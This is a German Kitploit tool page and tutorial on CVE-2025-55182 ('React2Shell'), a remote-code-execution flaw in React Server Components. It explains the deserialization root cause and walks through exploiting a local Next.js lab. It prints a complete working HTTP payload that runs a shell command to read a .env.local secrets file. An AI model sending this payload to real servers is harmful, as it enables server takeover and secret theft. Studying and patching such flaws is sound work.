Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
React2ShellPoC — Dieses Repository stellt einen Proof-of-Concept für CVE-2025-55182 (React2Shell) bereit, eine Sicherheitslücke zur Remote Code Execution in React Server Components. Es zeigt, wie der Exploit funktioniert, einschließlich des Payloads und der Auswirkungen. | Kitploit
Tools/GitHubGitHub/git0xlai/react2shellpoc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & BildungPayload-Entwicklung
GitHubgit0xlai/react2shellpoc

React2ShellPoC

Dieses Repository stellt einen Proof-of-Concept für CVE-2025-55182 (React2Shell) bereit, eine Sicherheitslücke zur Remote Code Execution in React Server Components. Es zeigt, wie der Exploit funktioniert, einschließlich des Payloads und der Auswirkungen.

Repository anzeigen
vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Verstehen von CVE-2025-55182 (React2Shell): Ein tiefer Einblick in die Remote-Code-Ausführung über React-Server-Komponenten

Überblick

CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Remote-Code-Ausführungs-Schwachstelle (RCE), die React Server Components betrifft. Dieser Fehler ermöglicht es nicht authentifizierten Angreifern, beliebigen Code auf verwundbaren Servern auszuführen, indem sie ein unsicheres Deserialisierungsproblem im Flight-Protokoll von React ausnutzen.

Aufgrund seines CVSS-Scores von 10,0 ist diese Schwachstelle äußerst schwerwiegend und erfordert sofortige Aufmerksamkeit. In diesem Beitrag werde ich die Details der Schwachstelle, den Exploit-Mechanismus erläutern und einen Proof-of-Concept (PoC) demonstrieren. Lassen Sie uns eintauchen.

Betroffene Versionen

Die folgenden Versionen von React Server Components und zugehörigen Paketen sind verwundbar:

  • React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Betroffene Pakete:

    • react-server-dom-parcel

    • react-server-dom-turbopack

    • react-server-dom-webpack

Was sind React und React Server Components?

React.js ist eine der beliebtesten JavaScript-Bibliotheken zur Erstellung von Benutzeroberflächen, insbesondere im Kontext von Single-Page-Anwendungen (SPAs). Sie ermöglicht Entwicklern, dynamische und interaktive Benutzererlebnisse zu schaffen.

React Server Components (RSC) ist eine experimentelle Funktion, die es ermöglicht, bestimmte Teile einer React-App auf dem Server statt auf dem Client zu rendern. Dies reduziert die Menge an JavaScript, die auf der Client-Seite benötigt wird, und verbessert die Leistung, insbesondere in großen Anwendungen.

RSC führt jedoch neue Komplexitäten ein, insbesondere bei der Datenübertragung zwischen Server und Client. CVE-2025-55182 nutzt ein solches Problem mit dem Flight-Protokoll, das in RSC zur Datenübertragung zwischen Server und Client verwendet wird.


Die Schwachstelle

Zusammenfassung der Schwachstelle

CVE-2025-55182 beruht auf unsicherer Deserialisierung im Flight-Protokoll von React. Deserialisierung ist der Prozess, der serialisierte Daten (normalerweise JSON) in ein Objekt im Speicher umwandelt. React nutzt diesen Prozess zur Handhabung von Daten, die zwischen Server und Client während des serverseitigen Renderings ausgetauscht werden.

Allerdings ist die Deserialisierungsimplementierung von React unsicher. Konkret verwendet React die Klammernotation (Bracket Notation), um auf Eigenschaften von Objekten zuzugreifen (z. B. moduleExports[metadata[2]]), was es Angreifern ermöglicht, die Prototyp-Kette von JavaScript-Objekten zu manipulieren. Dies führt zu Prototyp-Verschmutzung (Prototype Pollution) und eröffnet die Möglichkeit, die Eigenschaften von Objekten auf unerwartete Weise zu verändern, sodass Angreifer die Deserialisierungslogik ausnutzen können.

Grundursache

Die Ursache der Schwachstelle liegt darin, wie React Flight-Protokoll-Payloads verarbeitet. Die Verwendung der Klammernotation für den Eigenschaftszugriff erlaubt es Angreifern, die Prototyp-Kette zu durchlaufen und Zugang zu Eigenschaften zu erhalten, die normalerweise nicht zugänglich sein sollten – wie zum Beispiel constructor. Durch die Manipulation dieser Eigenschaft können Angreifer auf den globalen Function-Konstruktor zugreifen und beliebigen JavaScript-Code auf dem Server ausführen.

Wie der Exploit funktioniert

Der Exploit funktioniert, indem eine speziell präparierte Payload an den Server gesendet wird, die die Deserialisierungslogik des Flight-Protokolls manipuliert. Durch die Kombination von Prototyp-Verschmutzung und unsicherer Deserialisierung kann ein Angreifer die Kontrolle über den Server erlangen und beliebigen Code ausführen.

Die Schlüsselkomponenten des Angriffs umfassen:

  1. Prototyp-Verschmutzung: Der Angreifer manipuliert die Prototyp-Kette eines Objekts, um neue Eigenschaften zu injizieren, darunter die Eigenschaften constructor und Function.

  2. Ausführung der Payload: Sobald der Angreifer Zugriff auf den Function-Konstruktor hat, kann er beliebigen JavaScript-Code ausführen, z. B. Dateien lesen oder Systembefehle ausführen.


Schritt-für-Schritt-Ausnutzung

Einrichten der verwundbaren Umgebung

Um den Exploit zu testen, benötigen Sie eine verwundbare React-Umgebung. So richten Sie sie ein:

  1. Erstellen eines verwundbaren Projekts
    Erstellen Sie zunächst ein neues Next.js-Projekt mit einer verwundbaren Version von React Server Components:
  • npx [email protected] poc-react2shell cd poc-react2shell

    Alternativ können Sie ein vorkonfiguriertes GitHub-Repository verwenden, das bereits das verwundbare Setup enthält.

  • Erstellen einer Test-Umgebungsdatei
    Erstellen Sie im Stammverzeichnis Ihres Projekts eine .env.local-Datei mit sensiblen Daten wie API-Schlüsseln. Diese Datei wird im PoC vom Angreifer angegriffen:

  • SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

  • Starten des Entwicklungsservers
    Starten Sie den Entwicklungsserver:

  1. npm run dev

    Der verwundbare Server sollte nun unter http://localhost:3000 laufen.


Schritte zur Ausnutzung

Sobald Ihre Umgebung bereit ist, können Sie die schädliche Payload senden, um den Exploit auszulösen. Hier kommt Burp Suite oder ein anderes HTTP-Proxy-Tool ins Spiel.

  1. Senden der schädlichen Payload
    Öffnen Sie Burp Suite und navigieren Sie zum Repeater-Tab. Setzen Sie die Ziel-URL auf http://localhost:3000/ und senden Sie die folgende schädliche Payload:

  2. POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad

  3. Analysieren der Antwort
    Nach dem Senden der Anfrage wird der Server, falls der Exploit erfolgreich ist, mit dem Inhalt Ihrer .env.local-Datei (oder anderen sensiblen Daten in den Umgebungsvariablen) antworten. Dies bestätigt den Zugriff des Angreifers auf vertrauliche Daten. Response


Erklärung der schädlichen Payload

Aufschlüsselung der Header

  1. Host: Gibt den Zielserver an (localhost:3000).

  2. User-Agent: Identifiziert den Client, der die Anfrage stellt. Die Zeichenfolge stammt typischerweise von einem Browser, könnte hier aber manipuliert sein, um den Angriff zu verschleiern.

  3. Next-Action: Wahrscheinlich Teil der Next.js-Verarbeitung, könnte den Server verwirren oder mit dem Deserialisierungsprozess interagieren.

  4. X-Nextjs-Request-Id: Eindeutige Anfrage-ID für die Nachverfolgung und Fehlersuche in Next.js.

  5. Content-Type: Multipart-Formulardaten, verwendet für strukturierte Daten wie JSON oder Datei-Uploads.

  6. Content-Length: Gibt die Länge des Anforderungskörpers an.

Multipart-Felder

  • Feld 0: Enthält die Payload, die die Prototyp-Verschmutzung auslöst. Sie modifiziert den Prototyp des Objekts, fügt eine neue then-Eigenschaft hinzu und enthält ein schädliches _response-Objekt. Der _prefix führt einen child_process-Befehl aus, um die .env.local-Datei zu lesen.

  • Feld 1: Referenziert Feld 0, um den Angriff zu verbreiten.

  • Feld 2: Leeres Array, stellt sicher, dass die Struktur der Payload intakt bleibt.


Auswirkungen der Schwachstelle

Die Schwachstelle CVE-2025-55182 ermöglicht es Angreifern:

  1. Beliebigen Code auf dem Server auszuführen.

  2. Sensible Dateien zu lesen, wie z. B. API-Schlüssel und Konfigurationsdateien.

  3. Reverse Shells zu etablieren und möglicherweise die vollständige Kontrolle über den Server zu erlangen.

  4. Sensible Daten vom Server zu exfiltrieren.


Fazit

CVE-2025-55182 (React2Shell) ist eine kritische Schwachstelle in React Server Components, die nicht authentifizierten Angreifern erlaubt, beliebigen Code auf verwundbaren Servern auszuführen. Durch die Ausnutzung unsicherer Deserialisierung und Prototyp-Verschmutzung können Angreifer die vollständige Kontrolle über den Server erlangen, sensible Daten lesen und bösartige Befehle ausführen.

Wenn Sie React Server Components verwenden, ist es entscheidend, auf die neuesten gepatchten Versionen zu aktualisieren, um diese Schwachstelle zu entschärfen. Die Einhaltung von Best Practices in der Sicherheit, wie Eingabevalidierung und ordnungsgemäße Deserialisierungshandhabung, ist unerlässlich, um ähnliche Schwachstellen zu verhindern.

Referenzen


  • CVE-2025-55182 Details
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • PoC [kOaDT]
  • react2shellcve202555182

Haftungsausschluss

Dieser Proof of Concept ist ausschließlich für Bildungs- und Forschungszwecke bestimmt. Versuchen Sie nicht, Schwachstellen auf einem System ohne ausdrückliche schriftliche Zustimmung des Systembesitzers auszunutzen oder zu testen. Unautorisierte Tests können illegal und unethisch sein. Halten Sie sich stets an rechtliche und verantwortungsbewusste Praktiken in der Cybersicherheit.

Tool herunterladen